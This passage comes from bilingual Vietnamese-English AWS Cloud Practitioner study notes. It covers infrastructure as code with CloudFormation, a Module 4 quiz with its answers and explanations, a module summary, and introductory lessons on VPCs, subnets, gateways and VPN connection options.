thể set everything up manually bằng cách clicking through console hoặc running commands, remembering tất cả configurations của bạn khi bạn đi, nhưng điều đó: - ⏳ Slow - Chậm - ❌ Error-prone - Dễ mắc lỗi - 🔄 Hard to reproduce - Khó tái tạo Hoặc bạn có thể sử dụng automation và đây là nơi concept của infrastructure as code, hoặc IaC, xuất hiện. ## Infrastructure as Code (IaC) ### Khái niệm Infrastructure as Code (IaC) là practice của việc managing và provisioning infrastructure thông qua machine-readable definition files, thay vì physical hardware configuration hoặc interactive configuration tools. Với IaC, bạn có thể: - 📝 Define infrastructure trong một file - Giống như một blueprint cho AWS architecture của bạn - 🔧 Sử dụng tools hoặc services để automatically build và configure resources của bạn dựa trên blueprint specifications - 🔄 Deploy cùng một setup nhiều lần mà không có variation - 📊 Track changes đến infrastructure của bạn hiệu quả hơn bằng cách sử dụng source control ### Lợi ích của IaC - ✅ Consistency - Nhất quán trong deployments - ✅ Repeatability - Có thể tái tạo - ✅ Version Control - Quản lý phiên bản - ✅ Automation - Tự động hóa - ✅ Reduced Errors - Giảm lỗi - ✅ Faster Deployments - Triển khai nhanh hơn ## AWS CloudFormation AWS CloudFormation là một IaC service mà bạn có thể sử dụng để define một wide variety của AWS resources theo cách declarative bằng cách tạo text-based documents được gọi là CloudFormation templates. ### Cách CloudFormation hoạt động Bạn có thể define resources bạn muốn build mà không cần specify details của exactly how to build it. CloudFormation parses template và sau đó provisions tất cả resources bạn đã define, calling needed AWS APIs trong background để make it all happen. Quy trình: 1. 📝 Create template - Tạo CloudFormation template mô tả infrastructure 2. 🚀 Deploy template - Deploy template đến AWS 3. ⚙️ CloudFormation provisions - CloudFormation tự động provision và configure resources 4. ✅ Resources ready - Resources sẵn sàng sử dụng [code mermaid] flowchart LR T["CloudFormation template"] --> CF["AWS CloudFormation parse template"] CF -->|"gọi AWS APIs"| A["Resources ở Region A"] CF -->|"cùng template"| B["Resources giống hệt ở Region B"] [/code] ### Key Features của CloudFormation Theo AWS CloudFormation documentation (https://aws.amazon.com/cloudformation): #### 1. Scale your infrastructure Scale infrastructure worldwide và manage resources across all AWS accounts và regions through a single operation. - 🌍 Global deployment - Triển khai toàn cầu - 📊 Multi-account management - Quản lý nhiều tài khoản - 🔄 Single operation - Một thao tác duy nhất #### 2. Extend and manage your infrastructure Extend và manage infrastructure để include cloud resources published trong AWS CloudFormation Registry, developer community, và library của bạn. - 📚 CloudFormation Registry - Registry của AWS và community - 🔧 Extensible - Có thể mở rộng - 📦 Reusable templates - Templates có thể tái sử dụng #### 3. Automate resource management Automate resource management across organization của bạn với AWS service integrations offering turnkey application distribution và governance controls. - 🤖 Automation - Tự động hóa - 🏢 Organization-wide - Toàn tổ chức - 🎯 Governance controls - Kiểm soát quản trị ### Benefits của CloudFormation Khi bạn deploy cùng một template trong multiple accounts hoặc multiple Regions, identical environments được tạo across chúng. - ✅ Less room for human error - Ít chỗ cho lỗi con người, vì nó là một totally automated process - ⚡ Time saving - Tiết kiệm thời gian - 🔄 Consistency - Nhất quán - 📊 Version control - Quản lý phiên bản - 🛡️ Resilience - Khả năng phục hồi Ví dụ: Thay vì manually setting up resources trong Region B để match Region A, bạn có thể create một CloudFormation template định nghĩa everything infrastructure của bạn cần. Với một single command, AWS provisions những resources đó exactly as defined. Và, hey, look at that, bạn đã saved time, reduced margin for error, và made architecture của bạn more resilient. Nice work! 🎉 ## Interacting với AWS Resources Như bạn đã học, có một số ways bạn có thể operate trong AWS Cloud. Để interact với AWS resources, bạn phải invoke AWS APIs. Để interact với các APIs này, bạn có thể sử dụng AWS SDKs, AWS Command Line Interface (AWS CLI), AWS Management Console, hoặc IaC tools như CloudFormation. Để review functions và use cases cho việc sử dụng các approaches này, hãy chọn từng numbered marker: ### 1. Programmatic Access (Truy cập có lập trình) [… phần còn lại đã lược bớt] ============================================================================ # M04.05 - Module 4 Assessment URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/module-4-assessment Source: docs/07-aws-cloud-practitioner-essentials/04-going-global/05.module-4-assessment.md Description: Bài kiểm tra Module 4 - Going Global. Bạn phải đạt 80% trở lên để vượt qua module này. Bạn có thể làm lại không giới hạn số lần. Tags: aws, global-infrastructure, regions, availability-zones, edge-locations, cloudformation, infrastructure-as-code, aws-cloud-practitioner, assessment, quiz, aws-certification, module-4 Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/module-4-assessment Info: 📝 Thông tin Bài kiểm tra Yêu cầu: Bạn phải đạt 80% trở lên (5/6 câu đúng) để vượt qua module này. Số lần làm lại: Không giới hạn Chúc may mắn! 🍀 ## Question 01/06 ### English 🇺🇸 Which answer BEST describes the purpose and benefits of AWS edge locations? - ✅ Edge locations cache content to deliver data with lower latency and higher transfer speeds to end users. ← Correct - ❌ Edge locations are used exclusively for running compute-intensive applications and databases. - ❌ Edge locations are intended to provide redundant storage solutions for critical data. - ❌ Edge locations are composed of physical data centers that host the majority of AWS services and applications. Explanation: This answer accurately describes the purpose and benefits of AWS edge locations. They are designed to improve the delivery of content by caching it closer to end users, thus reducing latency and increasing transfer speeds. ### Tiếng Việt 🇻🇳 Câu trả lời nào MÔ TẢ TỐT NHẤT mục đích và lợi ích của AWS edge locations? - ✅ Edge locations cache content để cung cấp dữ liệu với độ trễ thấp hơn và tốc độ truyền cao hơn cho end users. ← Đúng - ❌ Edge locations được sử dụng độc quyền để chạy các ứng dụng và cơ sở dữ liệu tính toán chuyên sâu. - ❌ Edge locations nhằm cung cấp các giải pháp lưu trữ dự phòng cho dữ liệu quan trọng. - ❌ Edge locations bao gồm các trung tâm dữ liệu vật lý lưu trữ phần lớn các dịch vụ và ứng dụng AWS. Giải thích: Câu trả lời này mô tả chính xác mục đích và lợi ích của AWS edge locations. Chúng được thiết kế để cải thiện việc cung cấp nội dung bằng cách cache nó gần hơn với end users, do đó giảm độ trễ và tăng tốc độ truyền. ## Question 02/06 ### English 🇺🇸 A nonprofit organization is migrating all of their resources to the AWS Cloud. They are trying to decide which AWS Region to deploy their resources to. Which option lists the factors the organization needs to consider when deciding where to place their cloud resources? - ❌ Network speed, data encryption, user interface, and storage capacity - ❌ Software licensing, hardware specifications, cloud skillset of staff, and customer reviews - ✅ Compliance, proximity to customers, feature availability, and pricing ← Correct - ❌ Server uptime, application performance, employee satisfaction, and office location Explanation: When deciding where to place cloud resources, companies must consider multiple factors. Compliance refers to the Region meeting legal or regulatory requirements. Proximity to customers helps reduce latency and improve user experience. Feature availability makes sure that the required AWS services are supported in the chosen Region. Pricing varies by Region, so cost-efficiency is also a critical factor. ### Tiếng Việt 🇻🇳 Một tổ chức phi lợi nhuận đang migrate tất cả resources của họ lên AWS Cloud. Họ đang cố gắng quyết định AWS Region nào để deploy resources của họ. Tùy chọn nào liệt kê các yếu tố mà tổ chức cần xem xét khi quyết định nơi đặt cloud resources của họ? - ❌ Tốc độ mạng, mã hóa dữ liệu, giao diện người dùng, và dung lượng lưu trữ - ❌ Giấy phép phần mềm, thông số kỹ thuật phần cứng, kỹ năng cloud của nhân viên, và đánh giá của khách hàng - ✅ Tuân thủ, gần với khách hàng, tính khả dụng của tính năng, và giá cả ← Đúng - ❌ Thời gian hoạt động của máy chủ, hiệu suất ứng dụng, sự hài lòng của nhân viên, và vị trí văn phòng Giải thích: Khi quyết định nơi đặt cloud resources, các công ty phải xem xét nhiều yếu tố. Compliance đề cập đến việc Region đáp ứng các yêu cầu pháp lý hoặc quy định. Proximity to customers giúp giảm độ trễ và cải thiện trải nghiệm người dùng. Feature availability đảm bảo rằng các AWS services cần thiết được hỗ trợ trong Region đã chọn. Pricing khác nhau theo Region, vì vậy cost-efficiency cũng là một yếu tố quan trọng. ## Question 03/06 ### English 🇺🇸 What BEST describes key benefits of using multiple AWS Regions and multiple Availability Zones? (Select TWO.) - ✅ High availability and fault tolerance ← Correct - ❌ Enhanced security protocol - ✅ Low latency for end users ← Correct - ❌ Faster database migration - ❌ Increased storage capacity Explanation: By using multiple AWS Regions, a company can place their resources closer to their end users, which reduces the distance that the data must travel. This results in lower latency and a better user experience. By using multiple Availability Zones within a Region, the company enhances the fault tolerance of their applications. If one zone fails, their application can continue to operate from another zone, maintaining high availability. ### Tiếng Việt 🇻🇳 Điều gì MÔ TẢ TỐT NHẤT các lợi ích chính của việc sử dụng nhiều AWS Regions và nhiều Availability Zones? (Chọn HAI.) - ✅ Tính sẵn sàng cao và khả năng chịu lỗi ← Đúng - ❌ Giao thức bảo mật nâng cao - ✅ Độ trễ thấp cho end users ← Đúng - ❌ Di chuyển cơ sở dữ liệu nhanh hơn - ❌ Tăng dung lượng lưu trữ Giải thích: Bằng cách sử dụng nhiều AWS Regions, một công ty có thể đặt resources của họ gần hơn với end users, điều này giảm khoảng cách mà dữ liệu phải di chuyển. Điều này dẫn đến độ trễ thấp hơn và trải nghiệm người dùng tốt hơn. Bằng cách sử dụng nhiều Availability Zones trong một Region, công ty tăng cường khả năng chịu lỗi của các ứng dụng của họ. Nếu một zone thất bại, ứng dụng của họ có thể tiếp tục hoạt động từ zone khác, duy trì tính sẵn sàng cao. ## Question 04/06 ### English 🇺🇸 A team at a biomedical tech company is tasked with deploying a new medical application across multiple AWS Regions to help maintain high availability and fault tolerance. The application consists of several components, including a web server, a database, and a message queue. The deployment needs to be consistent and repeatable and should minimize manual errors through automation. Which approach is BEST suited for deploying this application according to the needs of automation and consistency? [… phần còn lại đã lược bớt] ============================================================================ # M04.06 - Module 4 Summary URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/module-4-summary Source: docs/07-aws-cloud-practitioner-essentials/04-going-global/06.module-4-summary.md Description: Tổng kết Module 4 - Going Global. Ôn tập lại các khái niệm về AWS Global Infrastructure, cách chọn AWS Regions, edge locations, và Infrastructure as Code với AWS CloudFormation. Tìm hiểu các bước tiếp theo và tài nguyên học tập. Tags: aws, global-infrastructure, regions, availability-zones, edge-locations, cloudformation, infrastructure-as-code, aws-cloud-practitioner, module-summary, recap, next-steps, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/module-4-summary Chúc mừng bạn đã hoàn thành Module 4 - Going Global! 🎉 Trong phần này của training, bạn đã học thêm về AWS Global Infrastructure. Bạn đã học về cách chọn một Region, giá trị của edge locations, và cách sử dụng services như CloudFormation để streamline và automate deployment. ## 📚 Tổng kết nội dung đã học ### 1. Introduction to Going Global Coffee Shop Expansion Analogy: > Coffee shop mở rộng toàn cầu đại diện cho AWS Global Infrastructure, với các considerations về locations, edge locations, và standardization. Key Concepts: - Choosing Regions: Các factors cần xem xét khi mở rộng globally - Edge Locations: Coffee carts như analog cho edge locations - Infrastructure as Code: Standardization và automation với CloudFormation ### 2. Choosing AWS Regions 4 Key Factors khi chọn AWS Regions: 1. Compliance (Tuân thủ) - Regulatory requirements và data protection laws - Data residency requirements (GDPR, UK data governance, Chinese borders) - Yếu tố quan trọng nhất - phải được xem xét trước tiên 2. Proximity (Gần gũi) - Gần customer base để giảm latency - Cải thiện user experience - Giảm data travel time 3. Feature Availability (Tính khả dụng của Tính năng) - Không phải tất cả services đều có sẵn ở mọi Region - AWS liên tục innovate và rollout features theo thời gian - Specialized Regions (ví dụ: AWS GovCloud) 4. Pricing (Giá cả) - Operational costs khác nhau giữa các Regions - Tax laws và regulations - Energy costs Data Isolation: - Mỗi Region được isolated khỏi mọi Region khác - Data không di chuyển mà không có explicit permission - Tuân theo local laws và statutes của quốc gia nơi Region tồn tại ### 3. Diving Deeper into AWS Global Infrastructure Multi-AZ Architecture: - Sử dụng multiple Availability Zones trong một Region - Automatic failover khi một AZ có interruption - Benefits: Quicker disaster recovery, improved business continuity, lower latency, compliance Multi-Region Architecture: - Deploy applications trong multiple Regions - Failover sang Region khác nếu một Region experiences interruption - Giống như pinball machine với multi-ball bonus High Availability, Agility, và Elasticity: - High Availability: System operate continuously mà không fail - Agility: Quickly adapt to changing requirements - Elasticity: Scale resources up/down automatically Edge Locations: - Strategically placed sites để cache content - Deliver data, video, và applications với lower latency và higher transfer speeds - Part of AWS content delivery network (CDN) - Services: CloudFront, Route 53, Global Accelerator AWS Outposts: - On-premises AWS services - Ultra-low latency - Data residency - Seamless integration với AWS cloud Mối quan hệ giữa Regions, Availability Zones, và Edge Locations: - Regions: Physical locations với multiple Availability Zones - Availability Zones: Distinct locations within Region với one or more data centers - Edge Locations: Located outside Regions, cache frequently accessed content ### 4. Infrastructure and Automation Infrastructure as Code (IaC): > Practice của việc managing và provisioning infrastructure thông qua machine-readable definition files. Benefits của IaC: - ✅ Consistency - Nhất quán trong deployments - ✅ Repeatability - Có thể tái tạo - ✅ Version Control - Quản lý phiên bản - ✅ Automation - Tự động hóa - ✅ Reduced Errors - Giảm lỗi - ✅ Faster Deployments - Triển khai nhanh hơn AWS CloudFormation: - IaC service để define AWS resources trong declarative way - Text-based documents (CloudFormation templates) - Automatically provisions và configures resources - Key Features: - Scale infrastructure worldwide - Extend và manage infrastructure - Automate resource management Three Ways to Interact với AWS Resources: 1. Programmatic Access (AWS CLI, AWS SDKs) - Best for: Developers, automation, scripting - Use cases: Automate routine tasks, integrate vào applications 2. AWS Management Console - Best for: Beginners, non-developers, visual management - Use cases: Learning, billing dashboards, graphical services 3. Infrastructure as Code (CloudFormation) - Best for: DevOps, production deployments, multi-environment - Use cases: CI/CD pipelines, consistent deployments, multi-Region applications ## 🎯 Key Takeaways 1. 4 Key Factors khi chọn Regions: Compliance, Proximity, Feature Availability, Pricing 2. Multi-AZ và Multi-Region architectures tăng high availability và fault tolerance 3. Edge Locations cache content để deliver với lower latency 4. Infrastructure as Code với CloudFormation giúp automate và standardize deployments 5. Three Interaction Methods: Programmatic Access, Console, và IaC - mỗi method phù hợp cho different use cases 6. High Availability, Agility, Elasticity là three key benefits của AWS Global Infrastructure ## 🚀 Next Steps Bây giờ bạn đã hiểu về AWS Global Infrastructure, bạn có thể: 1. Thực hành với AWS Console - Explore AWS Regions và Availability Zones - Tạo CloudFormation templates - Deploy resources trong multiple Regions 2. Khám phá các services khác - Module 5: Networking - Storage services - Database services 3. Xây dựng highly available applications - Deploy multi-AZ architectures - Sử dụng edge locations với CloudFront - Automate deployments với CloudFormation 4. Tối ưu hóa global infrastructure - Chọn Regions phù hợp dựa trên 4 factors - Sử dụng edge locations để giảm latency - Leverage CloudFormation cho consistency ## 📖 Resources Để tìm hiểu thêm về các tài liệu được đề cập trong module này, hãy chọn các resource links trong bảng sau: [… phần còn lại đã lược bớt] ============================================================================ # M05.01 - Introduction to Networking URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/introduction-to-networking Source: docs/07-aws-cloud-practitioner-essentials/05-networking/01.introduction-to-networking.md Description: Giới thiệu về AWS Networking, bao gồm Amazon Virtual Private Cloud (VPC), Subnets, và sự khác biệt giữa public và private subnets. Tìm hiểu về network diagrams và cách tổ chức resources trong AWS Cloud. Tags: aws, networking, vpc, subnets, public-subnet, private-subnet, network-diagrams, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/introduction-to-networking Thuật ngữ networking đề cập đến các devices được kết nối với nhau có thể exchange data và resources. Networking trong AWS Cloud bao gồm infrastructure và services làm việc cùng nhau để host applications, data, và bất kỳ resources nào khác bạn có thể cần. Hãy bắt đầu và tìm hiểu về các foundational network components được sử dụng trong AWS Cloud. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả Amazon Virtual Private Cloud (VPC) là gì và nó làm gì - ✅ Mô tả subnet là gì và nó làm gì - ✅ Mô tả sự khác biệt giữa public và private subnet - ✅ Hiểu về network diagrams và cách đọc chúng - ✅ Hiểu mối quan hệ giữa AWS Cloud, Regions, VPCs, và Availability Zones ## Coffee Shop Analogy: Networking Có vẻ như mọi thứ đang thực sự tiến triển trong coffee shop của chúng ta. Tuy nhiên, chúng ta đã có một số customers háo hức đi full steam ahead và hét orders của họ tại baristas! Tsk tsk. Họ nên politely asking cashiers thay vì. Điều này thực sự đưa ra một điểm thú vị, tuy nhiên. Nó chỉ không có ý nghĩa để allow mọi customer có thể interact với baristas ở phía sau. Sau tất cả, baristas của chúng ta cần stay focused trên crafting caffeinated beverages. Vì vậy, chúng ta làm gì? Chúng ta cần limit access đến baristas, và let customers interact chỉ với cashiers của chúng ta. Và wouldn't you know it, chúng ta có thể sử dụng AWS networking để accomplish điều đó. Cụ thể, một networking concept được gọi là Amazon Virtual Private Cloud, hoặc VPC. ## Amazon Virtual Private Cloud (Amazon VPC) VPCs help bạn provision một logically isolated section của AWS Cloud. ### Định nghĩa An Amazon VPC lets bạn provision một logically isolated section của AWS Cloud nơi bạn có thể launch AWS resources trong một virtual network mà bạn define. Trong virtual network này, bạn có thể launch bất kỳ resources nào bạn quyết định. Quan trọng hơn, các resources này có thể là public hoặc private. ### Public vs Private Resources - Public-facing resources: Có access đến internet - Private resources: Không có internet access Ví dụ với Coffee Shop: - Cashiers (Public): Chúng ta có thể make cashiers publicly-accessible để họ có thể interact với customers của chúng ta để take orders và process payments - Baristas (Private): Chúng ta có thể then prevent customers từ interacting directly với baristas bằng cách making chúng private resources. Điều này có nghĩa là, hey, tôi có thể focus trên making drinks! Ahhhhh, refreshing. ## Subnets Subnets được sử dụng để organize resources của bạn và có thể được make publicly hoặc privately accessible. ### Định nghĩa Subnets là essentially segments của VPC của bạn, allowing bạn để divide VPC của bạn thành smaller, manageable sections. A subnet là một range của IP addresses trong VPC của bạn. ### Public Subnets Public subnets được designed để provide direct internet access đến resources placed bên trong chúng. Để allow access, chúng được connected với một internet gateway. Bạn sẽ học thêm về internet gateways trong một bài học sau. Use cases: - 🌐 Customer-facing websites - Các trang web hướng đến khách hàng - 🖥️ Web servers - Máy chủ web - 📱 Public APIs - API công khai ### Private Subnets Private subnets được designed để isolate resources mà không nên được directly exposed đến public internet. Use cases: - 💾 Databases storing customer hoặc transactional information - 🔒 Backend services - Các dịch vụ backend - 🛡️ Internal resources - Tài nguyên nội bộ Trong diagrams, private subnets được illustrated với solid boxes. ## Networking Components: Understanding Connections through Diagrams Nếu bạn mới với IT hoặc cloud computing, bạn có thể chưa làm việc với architectural diagrams trước đây. A diagram là, simply put, một schematic hoặc map của network của bạn trong AWS Cloud. Nó có thể provide một visual của cách users hoặc applications access services, resources, hoặc data. A picture is worth a thousand words. Với một quick glance, bạn có thể see nếu network được built cho redundancy, security, và even scalability. Nó cũng có thể serve như một blueprint để bạn không forget important connections khi building solutions của bạn. ### Understanding Network Diagrams ### Diagram Basics 1: AWS Cloud, Regions, Amazon VPC, và AZs AWS Cloud: - AWS Cloud là outermost box trong hầu hết diagrams - Represents toàn bộ AWS infrastructure Region: - Region là next box - AWS Regions là separate geographic areas - Bạn choose Region của bạn dựa trên: - Users' geographic location cho lower latency - Compliance và data residency requirements - Available services - Cost Amazon VPC: - Amazon VPC là một solid box, và nó represents isolated, logically segmented network của bạn within AWS - A VPC helps bạn control network resources và security của bạn Availability Zones: - Availability Zones được shown như separate boxes across một region - AZs consist of one or more discrete data centers, mỗi với redundant power, networking, và connectivity, và housed trong separate facilities - Sử dụng multiple AZs có thể protect applications của bạn từ failure của một single location trong Region ### Diagram Basics 2: Private Subnets Private Subnets: - Subnets là essentially segments của VPC của bạn, allowing bạn để divide VPC của bạn thành smaller, manageable sections - A subnet là một range của IP addresses trong VPC của bạn - Private subnets được designed để isolate resources mà không nên được directly exposed đến public internet - Trong diagrams, chúng được illustrated với solid boxes ### Diagram Basics 3: Public Subnets Public Subnets: - Public subnets được designed để provide direct internet access đến resources placed bên trong chúng - Để allow access, chúng được connected với một internet gateway - Trong diagrams, public subnets được drawn với dashed boxes ## Mối quan hệ giữa các Components [… phần còn lại đã lược bớt] ============================================================================ # M05.02 - Organizing AWS Cloud Resources URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/organizing-aws-cloud-resources Source: docs/07-aws-cloud-practitioner-essentials/05-networking/02.organizing-aws-cloud-resources.md Description: Tìm hiểu cách tổ chức resources trong AWS Cloud với Amazon VPC, Internet Gateway, Virtual Private Gateway, và VPN connections. Khám phá benefits của VPC và cách thiết lập boundaries cho resources. Tags: aws, networking, vpc, internet-gateway, virtual-private-gateway, vpn, direct-connect, subnets, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/organizing-aws-cloud-resources Trong bài học này, bạn sẽ khám phá thêm các components trong một VPC. Cụ thể, bạn sẽ học thêm về cách organize resources của bạn trong cloud bằng cách sử dụng boundaries và subnets. Bạn cũng sẽ học thêm về cách control access bằng cách sử dụng gateways. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Định nghĩa virtual private gateway là gì và nó làm gì - ✅ Xác định core components của một VPC - ✅ Định nghĩa internet gateway là gì và nó làm gì - ✅ Hiểu sự khác biệt giữa Internet Gateway và Virtual Private Gateway - ✅ Hiểu về VPN connections và AWS Direct Connect ## Organizing Resources trong AWS Cloud Hãy tưởng tượng hàng triệu customers sử dụng AWS services. Cũng hãy tưởng tượng hàng triệu resources mà các customers này đã tạo, chẳng hạn như Amazon EC2 instances. Không có boundaries xung quanh tất cả các resources này, network traffic có thể flow giữa chúng một cách unrestricted. Trong phần sau, bạn sẽ học về hai components của AWS Cloud: 1. Amazon Virtual Private Cloud (VPC) 2. Gateways để connect resources của bạn ## Establishing Boundaries around AWS Resources Khi organizing resources của bạn trong AWS Cloud, bạn cần có thể group certain functions together và isolate chúng từ public, hoặc make chúng available đến public. Bạn đã được giới thiệu về những gì Amazon VPCs làm. Tiếp theo, bạn sẽ review các benefits. ## Amazon Virtual Private Cloud (VPC) Để reiterate, một VPC, hoặc virtual private cloud, là essentially private network của bạn trong AWS. Khi bạn sử dụng một VPC, bạn có thể define private IP range của bạn cho AWS resources của bạn và place things, như EC2 instances và elastic load balancers, bên trong VPC của bạn. ### Benefits của Amazon VPC Với Amazon VPC, bạn có thể provision một isolated section của AWS Cloud. Trong isolated section này, bạn có thể launch resources trong một virtual network mà bạn define. Nó provides three main benefits: #### 1. Increase Security (Tăng cường bảo mật) Amazon VPC helps increase security vì bạn có thể: - 🔒 Secure và monitor connections - Bảo mật và giám sát kết nối - 🛡️ Screen traffic - Kiểm tra lưu lượng - 🚫 Restrict instance access - Hạn chế quyền truy cập instance Amazon VPC gives bạn full control over resource placement, connectivity, và security của bạn. #### 2. Save Time (Tiết kiệm thời gian) Convenience của việc sử dụng Amazon VPC có nghĩa là bạn sẽ spend less time: - ⚙️ Setting up virtual network - 🔧 Managing virtual network - ✅ Validating virtual network Khi so sánh với on-premises network management, Amazon VPC tiết kiệm đáng kể thời gian. #### 3. Control Environment (Kiểm soát môi trường) Amazon VPC provides full control over: - 📍 Resource placement - Vị trí tài nguyên - 🔗 Connectivity - Kết nối - 🔒 Security - Bảo mật ## Subnets Bây giờ, bạn không chỉ throw resources của bạn vào một big VPC network space và sau đó move on. Thay vào đó, bạn place chúng vào different specific subnets. Subnets là chunks của IP addresses trong VPC của bạn mà bạn có thể sử dụng để group resources together. Subnets, cùng với networking rules mà chúng ta sẽ cover sau, control whether resources là either publicly hoặc privately available. Trong một Amazon VPC, bạn có thể organize resources của bạn thành subsections hoặc subnets. A subnet là một section của Amazon VPC có thể contain resources, chẳng hạn như Amazon EC2 instances. Bạn sẽ học thêm về subnets trong bài học tiếp theo. ## Public vs Private Access Ý tưởng về public so với private access đến resources là super important. ### Public-Facing Resources Đối với một số VPCs, bạn có thể có internet-facing resources mà public nên có thể reach, như: - 🌐 Public website - Trang web công cộng - ⚖️ Load balancer - Cân bằng tải ### Private Resources Trong các scenarios khác, bạn có thể có resources mà bạn chỉ muốn reachable nếu ai đó đã logged vào private network của bạn. Điều này có thể là: - 🏢 Internal services - Các dịch vụ nội bộ, như HR application - 💾 Backend database - Cơ sở dữ liệu backend ## Connecting Resources với Internet Gateway Để allow public traffic từ internet đến access VPC của bạn, bạn attach một internet gateway đến VPC. ### Định nghĩa Internet Gateway An internet gateway là một connection giữa một VPC và internet. Bạn có thể think of internet gateway như being similar đến một doorway mà customers sử dụng để enter coffee shop. Coffee Shop Analogy: - Without a front door, customers không thể get in và order coffee của họ - Vì vậy, bạn install một entrance, và people có thể enter và exit khi coming và going từ shop - Front door trong example này là like một internet gateway - Without it, no one có thể reach resources placed bên trong VPC của bạn ### Đặc điểm của Internet Gateway - 🌐 Public access - Cho phép public internet access - 🚪 Two-way traffic - Traffic có thể flow vào và ra - 🔓 Open doorway - Giống như một doorway mở đến public - 📍 Attached to VPC - Được attach đến VPC ## Virtual Private Gateways Điều gì xảy ra nếu bạn có một VPC bao gồm chỉ private resources? Ví dụ sau shows cách một virtual private gateway hoạt động. ### VPN Connection Concept Bạn có thể think of internet như road giữa home của bạn và coffee shop. Nó là open và accessible đến anyone. Bạn muốn một way để protect traffic bạn send trên internet từ public, internet service providers, và others có thể đang trying để track hoặc intercept nó. Đây là nơi một virtual private network (VPN) connection comes in. VPN creates một connection mà là more like một secure tunnel through internet. Sử dụng encryption, nó hides và protects everything bạn send và receive từ outside eyes. ### Định nghĩa Virtual Private Gateway A virtual private gateway là component trong AWS Cloud mà makes it possible để bạn connect protected traffic này đến enter VPC. Với một VPN connection, data của bạn travels privately và safely, hidden từ others sử dụng cùng route. Với một virtual private gateway, bạn có thể establish một VPN connection giữa VPC của bạn và một private network, chẳng hạn như: - 🏢 On-premises data center - Trung tâm dữ liệu tại chỗ - 🏛️ Internal corporate network - Mạng công ty nội bộ [… phần còn lại đã lược bớt] ============================================================================ # M05.03 - More Ways to Connect to the AWS Cloud URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/more-ways-to-connect-to-the-aws-cloud Source: docs/07-aws-cloud-practitioner-essentials/05-networking/03.more-ways-to-connect-to-the-aws-cloud.md Description: Khám phá các cách kết nối hybrid cloud với AWS Cloud: AWS Client VPN, AWS Site-to-Site VPN, AWS PrivateLink, và AWS Direct Connect. Tìm hiểu về các gateway services bổ sung như Transit Gateway, NAT Gateway, và API Gateway. Tags: aws, networking, client-vpn, site-to-site-vpn, privatelink, direct-connect, transit-gateway, nat-gateway, api-gateway, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/networking/more-ways-to-connect-to-the-aws-cloud Trong bài học này, bạn sẽ khám phá thêm các hybrid cloud connections với AWS Cloud. Cụ thể, bạn sẽ học thêm các cách để connect clients, datacenters, và sites của bạn đến AWS Cloud. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả AWS Client VPN và khi nào sử dụng nó - ✅ Mô tả AWS Site-to-Site VPN và khi nào sử dụng nó - ✅ Mô tả AWS PrivateLink và khi nào sử dụng nó - ✅ Mô tả AWS Direct Connect và khi nào sử dụng nó - ✅ Hiểu về các additional gateway services (Transit Gateway, NAT Gateway, API Gateway) ## Connecting to the AWS Cloud Với rất nhiều different types của networks, on-premises datacenters, và remote workers, companies cần một wide range của ways để connect đến AWS Cloud. Trong phần sau, bạn sẽ học bốn ways để connect đến AWS Cloud: 1. AWS Client VPN - Kết nối remote workers 2. AWS Site-to-Site VPN - Kết nối sites đến sites 3. AWS PrivateLink - Kết nối resources một cách private 4. AWS Direct Connect - Dedicated private connection ## Securely Connect a Remote Workforce to AWS Cloud Resources Hãy tưởng tượng một company với một recent acquisition cần securely connect new remote workforce của họ đến AWS Cloud resources của họ. Even the largest companies với worldwide remote workers có thể quickly scale up và connect đến AWS Cloud. That's where AWS Client VPN có thể help. ### AWS Client VPN AWS Client VPN là một networking service mà bạn có thể sử dụng để connect remote workers và on-premises networks của bạn đến cloud. Nó là một fully managed, elastic VPN service mà automatically scales up hoặc down based on user demand. Vì nó là một cloud VPN solution, bạn không cần install và manage hardware hoặc try để estimate how many remote users để support tại một time. #### Benefits của AWS Client VPN - 🔐 Advanced authentication - Xác thực nâng cao - 🌐 Remote access - Truy cập từ xa - 📈 Elastic - Tự động scale based on demand - 🛠️ Fully managed - Quản lý hoàn toàn bởi AWS #### Use Cases - ✅ Quickly scale remote-worker access - Nhanh chóng mở rộng truy cập cho remote workers - ✅ Secure access từ anywhere - Truy cập an toàn từ bất kỳ đâu - ✅ Connect remote workers đến AWS resources và on-premises networks Client VPN, một managed VPN service, provides secure access đến AWS resources và on-premises networks từ anywhere. Nó sử dụng một OpenVPN-based client, và nó works với global Regions bằng cách sử dụng AWS global network. ## Securely Connect Sites to Other Sites Một số companies có thể muốn establish secure, encrypted connections giữa on-premises networks của họ như data centers hoặc branch offices và resources của họ trong Amazon VPC của họ. That's where Site-to-Site VPN có thể help. ### AWS Site-to-Site VPN Site-to-Site VPN creates một secure connection giữa data center hoặc branch offices của bạn và AWS Cloud resources của bạn. #### Benefits của AWS Site-to-Site VPN - 🔄 High availability - Tính khả dụng cao - 🔒 Secure và private sessions - Phiên bảo mật và riêng tư - ⚡ Accelerates applications - Tăng tốc ứng dụng #### Use Cases - ✅ Application migration - Di chuyển ứng dụng - ✅ Secure communication giữa remote locations - Giao tiếp an toàn giữa các vị trí từ xa - ✅ Connect multiple sites đến AWS Cloud - Kết nối nhiều sites đến AWS Cloud Site-to-Site VPN allows bạn để connect multiple on-premises locations (như data centers, branch offices, manufacturing sites) đến Amazon 